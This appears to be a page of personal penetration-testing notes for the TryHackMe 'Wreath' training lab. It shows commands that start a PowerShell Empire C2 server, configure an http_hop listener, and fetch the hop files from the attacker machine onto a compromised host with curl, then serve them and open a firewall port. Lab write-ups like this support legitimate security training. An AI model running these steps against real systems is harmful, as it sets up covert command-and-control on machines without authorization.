> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/external-pentest-playbook/wreath-try-hack-me/pivoting/10.200.101.150-git-serv/c2.md).

# C2

Spin up empire

```bash
sudo powershell-empire server 
sudo powershell-empire client
```

Set up a[ listener](/post-exploitation/c2.md#listener-set-up)

Set up a hop listener

```bash
listener http_hop
set RedirectListener CLIHTTP
set Host 10.200.101.200               
set port 47000                         
```

On Attacker machine

```
cd /tmp/http_hop
sudo zip -r hop.zip *
python3 -m http.server 80
```

Transported jumpserver files to **prod-serv**

```
curl http://10.50.102.164/hop.zip -o hop.zip
unzip hop.zip
php -S 0.0.0.0:47000 &                
firewall-cmd --zone=public --add-port 47000/tcp
```